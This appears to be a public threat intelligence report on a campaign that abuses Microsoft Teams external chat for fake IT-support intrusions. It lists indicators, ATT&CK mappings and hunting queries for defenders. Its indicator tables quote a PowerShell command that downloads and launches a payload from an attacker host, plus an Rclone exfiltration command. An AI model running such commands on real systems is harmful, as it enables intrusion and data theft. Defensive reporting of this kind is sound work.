TLP:CLEAR Unrestricted public release.

CYBER THREAT INTELLIGENCE REPORT

Attackers abuse Microsoft Teams external chat for fake IT-support malware and ransomware delivery

From **Cybersecurity Briefing - 2026-10-27** · 2026-10-22 to 2026-10-27 · Briefing generated 2026-10-27

REPORT ID	VERSION	HANDLING
LIT-CTI-20261027-02	1.1 · 2026-10-27 10:42 EDT	TLP:CLEAR
BRIEFING SECTION	**ORIGINAL PUBLISHED**	**LAST UPDATE**
United States	2026-10-26	No update
CVES	**ANALYST**	
None	Nick Sturgeon	

MALWARE | HIGH | ACTIVE CAMPAIGN (ONGOING, MULTIPLE ACTORS) | OVERALL CONFIDENCE: HIGH

BOTTOM LINE UP FRONT

On 2026-10-26 Arctic Wolf Labs published an analysis of more than 400 incidents in which attackers used Microsoft Teams' external (cross-tenant) chat to pose as internal IT support and talk users into granting remote access [S1] [S2]. The pattern repeats across cases. The victim's mailbox is flooded with subscription and newsletter mail, and then an 'IT Support' or 'Help Desk' account from another Microsoft 365 tenant offers to fix the problem. The user is walked through opening Quick Assist or another remote management (RMM) tool, and the attacker then stages a payload by hand during the session [S1]. Roughly 30-40% of cases came from default *.onmicrosoft.com tenants with IT-themed names. The rest used paid custom domains: about half .top, about 40% .com, and the remainder multi-level country domains [S1] [S2]. Attackers reuse the same throwaway tenants, display names, RMM tools and, more and more, the same payload domains [S1].

Several actors use this technique, not just one. Earlier rounds were tied to Storm-1811 and Black Basta ransomware in 2024 [S6]. Sophos tracked a February-June 2026 cluster, STAC4749, that hit dozens of mostly Canadian and US organizations through Teams chats and calls. That cluster deployed Python and Go backdoors and, in at least three cases, Chaos ransomware, with one intrusion going from first contact to encryption in under 17 hours [S3] [S4]. Microsoft documented a matching playbook in April 2026: Quick Assist, then DLL sideloading through signed binaries, WinRM lateral movement to domain controllers, a second RMM channel (Level) and Rclone exfiltration [S5]. Arctic Wolf also cites Cactus and 3AM ransomware campaigns and a GoGRPC backdoor among follow-on payloads [S1] [S2].

No Teams vulnerability is involved. The attack works because many tenants still allow external federation with any domain, and because users click past the 'External' or 'unfamiliar' warnings [S1] [S5]. The attacker moves the payload during the live remote session instead of pasting a link into chat, so URL scanning such as Safe Links and ZAP never sees it. Defenders therefore need endpoint and identity telemetry, not message scanning alone [S1]. Arctic Wolf reports that several users are often targeted within about five minutes, and that payloads can run within 15 minutes of first contact [S1].

What to do: replace open Teams external access with an allow-list of partner domains, and block trial tenants and unmanaged Teams accounts (Set-CsTenantFederationConfiguration -ExternalAccessWithTrialTenants Blocked) [S1]. Restrict or remove Quick Assist and block unsanctioned RMM tools [S1] [S5] [S6]. Tell staff the help desk will never start unsolicited Teams chats, and require a callback to verify any remote-access request [S1] [S5]. Alert on Teams ChatCreated events from foreign tenants with help-desk-style names and on new RMM installs [S1] [S7]. Gaps remain: Arctic Wolf published no file hashes or IP addresses and did not give the timeframe its case set covers. Attribution across the clusters is loose.

Key judgments

VERY LIKELY · HIGH CONFIDENCE

External Teams help-desk impersonation will very likely remain a leading initial-access route for ransomware operators through at least mid-2027. Several unrelated crews (Storm-1811/Black Basta, STAC4749/Chaos, and the clusters behind Cactus and 3AM) have used it since 2024, and default-open federation keeps the cost of entry low. [S1] [S3] [S5] [S6]

LIKELY · MODERATE CONFIDENCE

Attackers will likely keep moving from easily flagged *.onmicrosoft.com tenants to paid custom domains, including names that embed the victim's company. Static blocklists of tenant names will therefore lose value, and behavior-based detection (foreign-tenant ChatCreated followed by an RMM launch) will matter more. [S1] [S3]

LIKELY · MODERATE CONFIDENCE

Organizations that keep Teams external access set to 'allow all' and do not control RMM tools are likely to see at least one attempt of this kind within a year. Indiana mid-market manufacturers and professional-services firms match the sectors STAC4749 targeted most often. [S1] [S3] [S4]

UNLIKELY · LOW CONFIDENCE

Microsoft is unlikely to change the Teams external-access default to blocked in the near term. It has shipped narrower changes instead, such as warnings, trial-tenant blocking and end-user reporting, so tenant administrators will stay responsible for closing this exposure. [S1] [S5]

INDICATORS OF COMPROMISE

Indicators come from Arctic Wolf's 2026-10-26 report appendices (tenants, display names, payload domains) [S1], Sophos's STAC4749 write-up covering February-June 2026 activity [S3], Microsoft's April 2026 intrusion

playbook [S5] and Microsoft's May 2024 Storm-1811 post [S6]. Tenant and domain indicators burn quickly and older ones are likely retired. Some payload domains appear to be compromised legitimate sites, so check before blocking, and hunt on behavior first. Arctic Wolf published no hashes or IPs. Sophos hashes are in its GitHub IOC file, which was not opened.

Type	Indicator (defanged)	Context	Provenance	First seen	Source
domain	`supportedge33[.]onmicrosoft[.]com`	Attacker-controlled default M365 tenant used to start external Teams chats posing as IT support.	REPORTED		[S1]
domain	`supportedge39[.]onmicrosoft[.]com`	Attacker default M365 tenant used for external Teams help-desk impersonation.	REPORTED		[S1]
domain	`helpdeskteam365[.]onmicrosoft[.]com`	Attacker default M365 tenant used for external Teams help-desk impersonation.	REPORTED		[S1] [S2]
domain	`itendpoint365[.]onmicrosoft[.]com`	Attacker default M365 tenant used for external Teams help-desk impersonation.	REPORTED		[S1] [S2]
domain	`itcoreportal[.]onmicrosoft[.]com`	Attacker default M365 tenant used for external Teams help-desk impersonation.	REPORTED		[S1] [S2]
domain	`networkadmin797[.]onmicrosoft[.]com`	Attacker default M365 tenant used for external Teams help-desk impersonation.	REPORTED		[S1]
domain	`networkadmin916[.]onmicrosoft[.]com`	Attacker default M365 tenant used for external Teams help-desk impersonation.	REPORTED		[S1]
domain	`itadmin922[.]onmicrosoft[.]com`	Attacker default M365 tenant used for external Teams help-desk impersonation.	REPORTED		[S1] [S2]
domain	`supportagentonline[.]onmicrosoft[.]com`	Attacker default M365 tenant used for external Teams help-desk impersonation.	REPORTED		[S1]
domain	`threatpro[.]onmicrosoft[.]com`	Attacker default M365 tenant used for external Teams help-desk impersonation.	REPORTED		[S1]
domain	`ithelpplus42[.]onmicrosoft[.]com`	Attacker default M365 tenant used for external Teams help-desk impersonation.	REPORTED		[S1]

Type	Indicator (defanged)	Context	Provenance	First seen	Source
domain	`corporateitservicellc[.]onmicrosoft[.]com`	Attacker default M365 tenant used for external Teams help-desk impersonation.	REPORTED		[S1] [S2]
domain	`techsupport2337[.]onmicrosoft[.]com`	Attacker default M365 tenant used for external Teams help-desk impersonation.	REPORTED		[S1]
domain	`update-software[.]top`	IT/update-themed .top domain used for attacker tenant identity, payload or C2 (Arctic Wolf Appendix 2).	REPORTED		[S1]
domain	`infoupdate-it[.]top`	IT-themed .top tenant/payload/C2 domain.	REPORTED		[S1]
domain	`soft-program[.]top`	IT-themed .top tenant/payload/C2 domain.	REPORTED		[S1]
domain	`getsysmonitor[.]top`	IT-themed .top tenant/payload/C2 domain.	REPORTED		[S1]
domain	`programupdate-assis[.]top`	IT-themed .top tenant/payload/C2 domain.	REPORTED		[S1]
domain	`expertassist[.]top`	IT-themed .top tenant/payload/C2 domain.	REPORTED		[S1]
domain	`sec-check-it[.]top`	IT-themed .top tenant/payload/C2 domain.	REPORTED		[S1]
domain	`upd-check-soft[.]top`	IT-themed .top tenant/payload/C2 domain.	REPORTED		[S1]
domain	`assis-programupdate[.]top`	IT-themed .top tenant/payload/C2 domain.	REPORTED		[S1]
domain	`get-info-check[.]top`	IT-themed .top tenant/payload/C2 domain.	REPORTED		[S1]
domain	`updsysseq[.]top`	IT-themed .top tenant/payload/C2 domain.	REPORTED		[S1]
domain	`techrelay[.]top`	IT-themed .top tenant/payload/C2 domain.	REPORTED		[S1]
domain	`verifsec-update[.]top`	IT-themed .top tenant/payload/C2 domain.	REPORTED		[S1]

Type	Indicator (defanged)	Context	Provenance	First seen	Source
domain	`sys-update-check[.]top`	IT-themed .top tenant/payload/C2 domain.	REPORTED		[S1]
domain	`get-help[.]top`	IT-themed .top tenant/payload/C2 domain.	REPORTED		[S1]
domain	`it-assistant[.]top`	IT-themed .top tenant/payload/C2 domain.	REPORTED		[S1]
domain	`ms-system-check[.]top`	IT-themed .top tenant/payload/C2 domain.	REPORTED		[S1]
domain	`scan-updseq[.]top`	IT-themed .top tenant/payload/C2 domain.	REPORTED		[S1]
domain	`it-seccontrol[.]top`	IT-themed .top tenant/payload/C2 domain.	REPORTED		[S1]
domain	`verifcontrol-update[.]top`	IT-themed .top tenant/payload/C2 domain.	REPORTED		[S1]
domain	`get-upd-sys[.]top`	IT-themed .top tenant/payload/C2 domain.	REPORTED		[S1]
domain	`get-sys-info[.]top`	IT-themed .top tenant/payload/C2 domain.	REPORTED		[S1]
domain	`getsystembridge[.]top`	IT-themed .top tenant/payload/C2 domain.	REPORTED		[S1]
domain	`data-sys-seq[.]top`	IT-themed .top tenant/payload/C2 domain.	REPORTED		[S1]
domain	`soft-network[.]top`	IT-themed .top tenant/payload/C2 domain.	REPORTED		[S1]
domain	`getitconnect[.]top`	.top domain listed in Arctic Wolf ATT&CK mapping table.	REPORTED		[S1]
domain	`get-help-systems[.]top`	.top domain listed in Arctic Wolf ATT&CK mapping table.	REPORTED		[S1]
domain	`helpdesk-sys[.]top`	.top domain listed in Arctic Wolf ATT&CK mapping table.	REPORTED		[S1]
domain	`help-desk-get[.]top`	.top domain listed in Arctic Wolf ATT&CK mapping table.	REPORTED		[S1]

Type	Indicator (defanged)	Context	Provenance	First seen	Source
domain	`fix-it[.]top`	.top domain listed in Arctic Wolf ATT&CK mapping table.	REPORTED		[S1]
domain	`helpdesk-support-us-ny[.]com`	Help-desk lookalike .com domain used for attacker tenant identity.	REPORTED		[S1]
domain	`helpdesk-support-office-3[.]com`	Help-desk lookalike .com domain used for attacker tenant identity.	REPORTED		[S1]
domain	`helpdesk-support-office-4[.]com`	Help-desk lookalike .com domain used for attacker tenant identity.	REPORTED		[S1]
domain	`helpdesk-support-us3[.]com`	Help-desk lookalike .com domain used for attacker tenant identity.	REPORTED		[S1]
domain	`helpdesk-call[.]com`	Help-desk lookalike .com domain used for attacker tenant identity.	REPORTED		[S1]
domain	`helpdesk-s1x[.]com`	Help-desk lookalike .com domain used for attacker tenant identity.	REPORTED		[S1]
domain	`itdeskassist[.]com`	Help-desk lookalike .com domain used for attacker tenant identity.	REPORTED		[S1]
domain	`kilan[.]com[.]pl`	Payload or credential-phishing domain named by Arctic Wolf. Possibly a compromised legitimate site; verify before blocking.	REPORTED		[S1]
domain	`saludcentro[.]gov[.]co`	Payload or credential-phishing domain named by Arctic Wolf. A government domain, so very likely compromised rather than attacker-registered.	REPORTED		[S1]
domain	`ggc[.]com[.]ph`	Payload or credential-phishing domain named by Arctic Wolf. Possibly compromised legitimate site.	REPORTED		[S1]
domain	`scapini[.]com[.]br`	Payload or credential-phishing domain named by Arctic Wolf. Possibly compromised legitimate site.	REPORTED		[S1]

Type	Indicator (defanged)	Context	Provenance	First seen	Source
other	`Teams display names: Help Desk; IT Support; HelpDesk Manager; HelpDesk Supervisor; IT Service Desk - Liam/Matt/Scott/Matthew; IT Support - Christopher Thomas; IT Support (Scott McGhee); Enterprise IT & Security (Internal); IT Tech Support Internal; Business IT Solutions & Support (Internal); Maintenance Service; IT-Representative; IT/Help Desk; Supporte TI`	Display names used by external attacker accounts. Newer variants add the victim's company name or domain, and some include emoji. Use as fuzzy match terms on ChatCreated events from foreign tenants.	REPORTED		[S1] [S2]
filename	`archive6.zip`	ZIP bundled in an MSI pulled from Azure Blob Storage; contains a pythonw interpreter and the Python implant.	REPORTED		[S1]
filename	`cleaner.ps1`	PowerShell loader inside the MSI with hex-encoded code run via IEX; extracts and launches the Python implant.	REPORTED		[S1]
filename	`ss.py`	Python implant launched with pythonw.exe after a five-second sleep; later runs a second MSI that does LDAP enumeration of AD users and computers and sends results out.	REPORTED		[S1]

Type	Indicator (defanged)	Context	Provenance	First seen	Source
filepath	`%LOCALAPPDATA%\PowershellCleaner\scripts`	Drop directory for the Python implant chain (reported as AppData\Local\PowershellCleaner\scripts).	REPORTED		[S1]
command	`pythonw.exe ss.py (parent chain: msiexec.exe -> powershell.exe cleaner.ps1, user session started from explorer.exe)`	Expected process chain inferred from Arctic Wolf's description: MSI runs cleaner.ps1, which extracts archive6.zip and starts ss.py with pythonw. Exact command lines were not published.	DERIVED		[S1]
domain	`sequrityupdate[.]top`	STAC4749 IT-themed .top domain used for spoofed IT-support Teams accounts.	REPORTED		[S3]
domain	`scan-security[.]top`	STAC4749 spoofed IT-support .top domain.	REPORTED		[S3]
domain	`system-online[.]top`	STAC4749 spoofed IT-support .top domain.	REPORTED		[S3]
domain	`system-connect[.]top`	STAC4749 spoofed IT-support .top domain.	REPORTED		[S3]
domain	`corp-connect[.]top`	STAC4749 spoofed IT-support .top domain.	REPORTED		[S3]
domain	`info-secure[.]top`	STAC4749 spoofed IT-support .top domain.	REPORTED		[S3]
domain	`supportsoft[.]top`	STAC4749 spoofed IT-support .top domain.	REPORTED		[S3]
domain	`update-syscontrol[.]top`	STAC4749 spoofed IT-support .top domain.	REPORTED		[S3]
domain	`sequpdate[.]top`	STAC4749 spoofed IT-support .top domain.	REPORTED		[S3]
domain	`service-clien[.]top`	STAC4749 spoofed IT-support .top domain.	REPORTED		[S3]
domain	`service-corporation[.]top`	STAC4749 spoofed IT-support .top domain.	REPORTED		[S3]

Type	Indicator (defanged)	Context	Provenance	First seen	Source
domain	`scansequrity[.]top`	STAC4749 spoofed IT-support .top domain.	REPORTED		[S3]
domain	`service-help[.]top`	STAC4749 spoofed IT-support .top domain.	REPORTED		[S3]
domain	`sequritycheck[.]top`	STAC4749 spoofed IT-support .top domain.	REPORTED		[S3]
domain	`it-service[.]top`	STAC4749 spoofed IT-support .top domain.	REPORTED		[S3]
domain	`upsecscan[.]top`	STAC4749 spoofed IT-support .top domain.	REPORTED		[S3]
domain	`fa5[.]flsdwnld[.]online`	STAC4749 payload host serving confirm.exe. Sophos also reports related payload-host naming terms: filesdwnld, fldwnld, filldowl, aohoodie, artcnb.	REPORTED		[S3]
url	`hxxps[://]fa5[.]flsdwnld[.]online/f5yxog/confirm[.]exe`	Payload URL in the PowerShell download command STAC4749 had victims or operators run.	REPORTED		[S3]
domain	`legio[.]name`	STAC4749 payload/infrastructure domain.	REPORTED		[S3]
domain	`workers[.]dev`	Cloudflare Workers platform that STAC4749 abused for infrastructure. This is a legitimate shared service: do not block wholesale; hunt for unusual workers.dev subdomains contacted by PowerShell or user-writable binaries.	REPORTED		[S3]
ipv4	`94[.]140[.]114[.]192`	STAC4749 C2 (port 443).	REPORTED		[S3]
ipv4	`94[.]140[.]115[.]18`	STAC4749 C2 (port 443).	REPORTED		[S3]
ipv4	`94[.]140[.]115[.]129`	STAC4749 C2 (port 443).	REPORTED		[S3]
ipv4	`193[.]29[.]57[.]37`	STAC4749 infrastructure IP.	REPORTED		[S3]

Type	Indicator (defanged)	Context	Provenance	First seen	Source
command	`powershell $u="hxxps://fa5[.]flsdwnld[.]online/f5yxog/confirm.exe";$p="$env:APPDATA\confirm.exe";Invoke-WebRequest $u -OutFile $p;Unblock-File $p;$p1="--token-raw=****";Start-Process $p $p1`	STAC4749 payload download and launch command (URL defanged here). Hunt for Invoke-WebRequest + Unblock-File + Start-Process writing EXEs to %APPDATA%.	REPORTED		[S3]
command	`"C:\Users\<user>\AppData\Roaming\confirm.exe" --token-raw=<token>`	STAC4749 Golang C2 implant launch pattern; the --token-raw argument is distinctive.	REPORTED		[S3]
filename	`sekv_<10 digits>_.exe / helper_<10 digits>_.exe / 74fs_<10 digits>_.exe`	STAC4749 loader filename patterns, dropped to %TEMP% or %APPDATA%.	REPORTED		[S3]
filename	`updater.exe, 7414fs*.exe, 45234ssdf4038516 40.exe, msupdate.exe`	STAC4749 backdoor filenames.	REPORTED		[S3]
filename	`dizzy.exe, graph.exe, tube.exe, confirm.exe, midnight.exe, shield.exe`	STAC4749 Golang C2 implant filenames (examples).	REPORTED		[S3]
filename	`sc5.exe`	STAC4749 reverse SOCKS tunneling tool.	REPORTED		[S3]

Type	Indicator (defanged)	Context	Provenance	First seen	Source
filename	`mklink-%.vbs`	STAC4749 VBS used to create Startup shortcuts (SecurityHealth, OneDriveUpdate).	REPORTED		[S3]
filename	`readme.chaos.txt`	Chaos ransomware note dropped in STAC4749 intrusions.	REPORTED		[S3]
filepath	`C:\ProgramData\AppSreen\logs\appscreen.log`	STAC4749 artifact path (spelling 'AppSreen' as reported).	REPORTED		[S3]
filepath	`C:\Users\<user>\AppData\Roaming\path1.exe`	STAC4749 payload path.	REPORTED		[S3]
registry	`HKCU\Software\Microsoft\Windows\CurrentVersion\Run : Realtek HD Audio Universal Service | Realtek HD Audio | Realtek Audio | WinAudio life2 | Realtek Audio UHD`	STAC4749 Run-key value names disguised as audio drivers that point to binaries in user AppData. Sophos names the HKCU Run key; the full key path is the standard Run location.	REPORTED		[S3] [S4]
other	`Embedded certificate issuers: loop-CA, connectify-CA, james-bond-CA`	CA names embedded in STAC4749 implants; useful for TLS inspection or binary hunting.	REPORTED		[S3]

Type	Indicator (defanged)	Context	Provenance	First seen	Source
other	`Spoofed usernames: AnthonyBrooks, DylanHarper, EthanParker, DylanHartman, JasonMitchell, DylanFoster, EllaBrooks, RyanBennett, LoganCooper, LoganMitchell, NicholasGrant, TimothyPorter`	Plausible employee-style usernames STAC4749 used on its .top tenants.	REPORTED		[S3]
filename	`AcroServicesUpdater2_x64.exe + msi.dll; ADNotificationManager.exe + vcruntime140_1.dll; DlpUserAgent.exe + mpclient.dll; werfault.exe + Faultrep.dll`	Signed-host / malicious-DLL sideloading pairs in Microsoft's cross-tenant help-desk intrusion playbook.	REPORTED		[S5]
filepath	`C:\ProgramData\Adobe\ARM\ ; C:\ProgramData\Microsoft\DeviceSync\`	Staging directories for sideloading payloads (Microsoft examples).	REPORTED		[S5]
registry	`HKCU\SOFTWARE\Classes\Local Settings\Software\Microsoft : UCID, UFID, XJ01, XJ02, UXMP`	Values holding an encrypted loader configuration (Havoc-like) per Microsoft. Microsoft gave the key under the user context; the HKCU hive prefix is inferred from 'user-context registry key'.	REPORTED		[S5]

Type	Indicator (defanged)	Context	Provenance	First seen	Source
command	`rclone ... --config rclone_uploader.conf --transfers 16 --checkers 16 --buffer-size 64M --max-age=3y --exclude *.mdf`	Rclone exfiltration flags observed by Microsoft.	REPORTED		[S5]
port	`5985/tcp`	WinRM (/wsman) lateral movement from non-admin application toward domain controllers.	REPORTED		[S5]
domain	`upd7a[.]com`	Storm-1811 (Black Basta) 2024 payload domain from earlier wave of the same technique; historical.	REPORTED	2024-04-15	[S6]
domain	`upd7[.]com`	Storm-1811 2024 payload domain; historical.	REPORTED		[S6]
domain	`upd9[.]com`	Storm-1811 2024 payload domain; historical.	REPORTED		[S6]
domain	`upd5[.]pro`	Storm-1811 2024 payload domain; historical.	REPORTED		[S6]
domain	`antispam3[.]com`	Storm-1811 2024 fake spam-filter domain; historical.	REPORTED		[S6]
domain	`antispam2[.]com`	Storm-1811 2024 fake spam-filter domain; historical.	REPORTED		[S6]
domain	`instance-olqdnn-relay[.]screenconnect[.]com`	Storm-1811 ScreenConnect relay (2024); historical.	REPORTED		[S6]
domain	`greekpool[.]com`	Storm-1811 NetSupport C2 (2024); historical.	REPORTED		[S6]
domain	`zziveastnews[.]com`	Storm-1811 Cobalt Strike C2 (2024); historical.	REPORTED		[S6]
domain	`realsepnews[.]com`	Storm-1811 Cobalt Strike C2 (2024); historical.	REPORTED		[S6]

Type	Indicator (defanged)	Context	Provenance	First seen	Source
other	`M365 unified audit: Operation=ChatCreated, CommunicationType=OneOnOne, ParticipantInfo.HasForeignTenantUsers=true, member display name or UPN matching help-desk/IT-support terms`	Audit event pattern that marks first contact. Arctic Wolf says most of its alerts fire on ChatCreated, and Elastic's rule uses these fields.	DERIVED		[S1] [S7]

Indicators are defanged (hxxp, [.], [@]) so they cannot be clicked. "Reported" means stated in a source; "Derived" means inferred by the analyst from the source material and should be validated before blocking.

TACTICS, TECHNIQUES & PROCEDURES (TTPS)

The operator registers or buys a Microsoft 365 tenant, either a default *.onmicrosoft.com name or a paid .top, .com or country-code domain with an IT theme, and creates accounts with help-desk display names [S1] [S3]. The victim's inbox is often flooded with subscription mail first [S1] [S6]. The attacker then opens a one-on-one external Teams chat or call and offers to fix the problem, persuading the user to accept the External/unfamiliar warning and start Quick Assist or another RMM tool [S1] [S5]. Once hands-on-keyboard, the operator browses to a payload or has the user run a PowerShell download command, so no link passes through Teams URL scanning [S1] [S3]. Payloads seen include an MSI from Azure Blob Storage that drops a pythonw-based implant, Golang and Python backdoors with Run-key persistence disguised as Realtek audio components, and signed binaries sideloading malicious DLLs [S1] [S3] [S5]. Follow-on activity includes LDAP and AD enumeration, enabling RDP, a second RMM (Level, DWAgent, AnyDesk), reverse SOCKS tunnels, WinRM movement to domain controllers, Rclone exfiltration and, in some cases, Chaos, Black Basta, Cactus or 3AM ransomware [S1] [S3] [S5] [S6]. Payload execution can come within 15 minutes of first contact, and encryption within 17 hours [S1] [S3].

Threat actor

Multiple financially motivated clusters (including STAC4749 and Storm-1811) · also tracked as STAC4749 (Sophos; Chaos ransomware), Storm-1811 (Microsoft; Black Basta), UNC6692 (Mandiant; referenced only), Former Black Basta affiliates (ReliaQuest; referenced by Arctic Wolf)

Attribution confidence: Low · **Motivation:** Financial (ransomware, data theft and extortion) · **Suspected origin:** Unknown. Sophos notes a possible Russian-language link for STAC4749 (a mistyped 'dir' in Cyrillic layout) but no firm attribution.

Arctic Wolf does not attribute its 400+ cases to a single actor and says attribution is a judgment that may change. It links the shift to .top domains to STAC4749 (Sophos) and earlier activity to Storm-1811/Black Basta. Sophos found no evidence for a suggested MuddyWater false-flag link [S1] [S3] [S4].

MITRE ATT&CK mapping

Tactic	Technique	Procedure observed	Detection opportunity
Resource Development	T1585.003 Establish Accounts: Cloud Accounts	Throwaway or acquired M365 tenants (e.g. helpdeskteam365.onmicrosoft.com) with IT-support accounts. [S1] [S3]	Track foreign tenant IDs and domains in Teams ChatCreated audit events; flag tenants contacting several users or customers.
Resource Development	T1583.001 Acquire Infrastructure: Domains	Paid IT-themed .top/.com/country-code domains for tenant identity and payload hosting. [S1] [S3]	Alert on endpoint or proxy connections to newly seen .top domains with update/help/sys/support keywords.
Impact	T1667 Email Bombing	Victim inbox flooded with subscription and newsletter confirmations to create a pretext. [S1] [S6]	Mail-volume spike from many distinct senders to one mailbox, followed within an hour by an external Teams chat.
Initial Access	T1566.003 Phishing: Spearphishing via Service	One-on-one external Teams chat or call from an 'IT Support' identity in another tenant. [S1] [S5] [S7]	ChatCreated with HasForeignTenantUsers=true and help-desk-style display names or UPNs.
Defense Evasion	T1656 Impersonation	Display names such as 'IT Support (Internal)' or 'IT Service Desk - Liam', sometimes including the victim's company name. [S1] [S2]	Fuzzy-match display names containing the organization's own name coming from foreign tenants.

Tactic	Technique	Procedure observed	Detection opportunity
Command and Control	T1219 Remote Access Tools	Quick Assist (most common), AnyDesk, ScreenConnect, TeamViewer, Atera, Zoho Assist, NetSupport, LogMeIn, RemSupp, DWAgent and Level for persistence or redundancy. [S1] [S3] [S5]	Alert on QuickAssist.exe or any RMM not deployed by IT, especially within 30 minutes of an external Teams chat.
Execution	T1059.001 Command and Scripting Interpreter: PowerShell	Invoke-WebRequest download to %APPDATA%, Unblock-File, Start-Process; hex-encoded IEX loader (cleaner.ps1). [S1] [S3]	PowerShell with Invoke-WebRequest plus Unblock-File, or IEX of decoded strings, spawned during a remote-support session.
Defense Evasion	T1218.007 System Binary Proxy Execution: Msiexec	MSI from Azure Blob Storage bundles a PowerShell script and Python runtime; Level RMM installed via msiexec. [S1] [S5]	msiexec installing packages downloaded from blob.core.windows.net or user Downloads during a Quick Assist session.
Execution	T1059.006 Command and Scripting Interpreter: Python	pythonw.exe runs ss.py or PyArmor-style backdoors from user-writable folders. [S1] [S3]	pythonw.exe running from AppData or Temp, especially making outbound network connections.
Persistence	T1547.001 Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder	HKCU Run values named like Realtek audio components; VBS-created Startup shortcuts (SecurityHealth, OneDriveUpdate). [S3]	Run-key values referencing AppData binaries with Realtek/Audio names; .lnk created in Startup by wscript.
Defense Evasion	T1574.001 Hijack Execution Flow: DLL	Signed hosts (AcroServicesUpdater2_x64.exe, ADNotificationManager.exe, DlpUserAgent.exe) load malicious DLLs from ProgramData. [S5]	Signed vendor binaries executing from non-standard ProgramData paths and loading unsigned DLLs.
Discovery	T1087.002 Account Discovery: Domain Account	Second MSI runs adsisearcher LDAP queries for all users and computers and sends the results out. [S1] [S5]	LDAP queries (389/636) from pythonw, PowerShell or msiexec on workstations; recon bursts (whoami, nltest, systeminfo).

Tactic	Technique	Procedure observed	Detection opportunity
Lateral Movement	T1021.006 Remote Services: Windows Remote Management	WinRM (5985) from a non-admin application toward domain controllers; RDP enabled via msconfig. [S3] [S5]	WinRM connections from user workstations to DCs; RDP service enabled on a workstation outside change control.
Command and Control	T1090 Proxy	Reverse SOCKS tunneling tool (sc5.exe) for pivoting. [S3]	Long-lived outbound sessions from user-writable binaries; unknown executables listening locally or tunneling.
Exfiltration	T1567.002 Exfiltration Over Web Service: Exfiltration to Cloud Storage	Rclone with tuned transfer flags and file-type exclusions. [S5]	rclone.exe (or renamed copies) with --transfers/--config flags; large uploads to cloud storage.
Defense Evasion	T1070.003 Indicator Removal: Clear Command History	Deletion of PowerShell ConsoleHost_history.txt. [S5]	File delete events on ConsoleHost_history.txt.
Impact	T1486 Data Encrypted for Impact	Chaos ransomware (note readme.chaos.txt) in at least three STAC4749 cases; Black Basta, Cactus and 3AM in related campaigns. [S1] [S3] [S6]	Mass file renames and ransom-note creation; treat as late stage and alert earlier in the chain.

Detection & hunting

Queries are built from the reported behavior and indicators. They are untested; tune field names for your environment.

External Teams one-on-one chat from help-desk-themed foreign tenant (Defender XDR) KQL

```
CloudAppEvents
| where Timestamp > ago(7d)
| where Application == "Microsoft Teams" and ActionType == "ChatCreated"
| extend Raw = parse_json(RawEventData)
| extend Foreign = tobool(Raw.ParticipantInfo.HasForeignTenantUsers), CommType =
tostring(Raw.CommunicationType), Members = tostring(Raw.Members)
| where Foreign == true and CommType == "OneOnOne"
| where Members matches regex @"(?i)(help\s?desk|it[\s\-_]?support|service\s?desk|it[\s\-]?
admin|tech\s?support|maintenance service|it[\-\s]representative|supporte ti)"
   or Members matches regex @"(?i)\.onmicrosoft\.com" and Members matches regex @"(?i)
(help|support|admin|security|network|systems|it)"
   or Members matches regex @"(?i)@[a-z0-9.\-]+\.top"
| project Timestamp, AccountDisplayName, AccountObjectId, Members, Raw.ChatThreadId
```

Field names inside RawEventData follow the M365 unified audit schema and may need adjusting for your tenant. Modeled on Elastic's rogue help-desk rule [S7] and Arctic Wolf's ChatCreated guidance [S1]. Expect some false positives from legitimate MSP or vendor support tenants; allow-list them by tenant ID.

RMM or Quick Assist launched within 30 minutes of an external Teams chat `KQL`

```
let chats = CloudAppEvents
| where Timestamp > ago(7d) and Application == "Microsoft Teams" and ActionType == "ChatCreated"
| where tobool(parse_json(RawEventData).ParticipantInfo.HasForeignTenantUsers) == true
| project ChatTime = Timestamp, AccountObjectId;
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName in~
("QuickAssist.exe","AnyDesk.exe","TeamViewer.exe","ScreenConnect.ClientService.exe","AteraAgent.exe","Z
ohoAssist.exe","client32.exe","LogMeIn.exe","dwagent.exe","level.exe","remsupp.exe")
   or ProcessVersionInfoProductName has_any ("RemSupp","Splashtop","Level")
| join kind=inner chats on $left.AccountObjectId == $right.AccountObjectId
| where Timestamp between (ChatTime .. ChatTime + 30m)
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, ChatTime
```

Follows Microsoft hunting query A [S5]. Process names for some RMM tools vary by version; check them against your own estate. Exclude your sanctioned RMM by signer or install path.

Run-key persistence disguised as Realtek/WinAudio pointing to AppData (STAC4749) `SIGMA`

```
title: Run Key Masquerading As Audio Driver Pointing To User AppData
status: experimental
logsource:
  product: windows
  category: registry_set
detection:
  selection_key:
    TargetObject|contains: '\Software\Microsoft\Windows\CurrentVersion\Run\'
  selection_name:
    TargetObject|contains:
      - 'Realtek'
      - 'WinAudio'
  selection_path:
    Details|contains:
      - '\AppData\Roaming\'
      - '\AppData\Local\Temp\'
  condition: selection_key and selection_name and selection_path
falsepositives:
  - Unlikely; genuine Realtek components install under Program Files
level: high
```

Built from Sophos-reported Run-key names and AppData payload paths [S3].

PowerShell download-and-launch to AppData with Unblock-File or --token-raw `SPLUNK SPL`

```
index=edr (sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=1) OR
(sourcetype="XmlWinEventLog:Microsoft-Windows-PowerShell/Operational" EventCode=4104)
| eval cmd=coalesce(CommandLine, ScriptBlockText)
| where (match(cmd, "(?i)Invoke-WebRequest") AND match(cmd, "(?i)Unblock-File") AND match(cmd, "(?i)
(APPDATA|AppData\\\\Roaming)")) OR match(cmd, "(?i)--token-raw") OR (match(cmd, "(?i)pythonw\.exe") AND
match(cmd, "(?i)AppData"))
| table _time host User ParentImage Image cmd
```

Covers the STAC4749 download command, the Golang implant argument and pythonw implants running from user folders [S1] [S3]. Adjust index and sourcetype to your environment.

REMEDIATION ACTIONS

Exposure

Product	Affected	Fixed in	CVE	CVSS	EPSS	CISA KEV	KEV due date
Microsoft Teams (Microsoft 365) external access / federation	Tenants with external access left at the default (allow all external domains), trial-tenant federation allowed, or unmanaged Teams accounts allowed to start chats	Configuration change: allow-list partner domains; ExternalAccessWithTrialTenants Blocked; block unmanaged accounts	None (abuse of features, not a vulnerability)	N/A	N/A	No	N/A
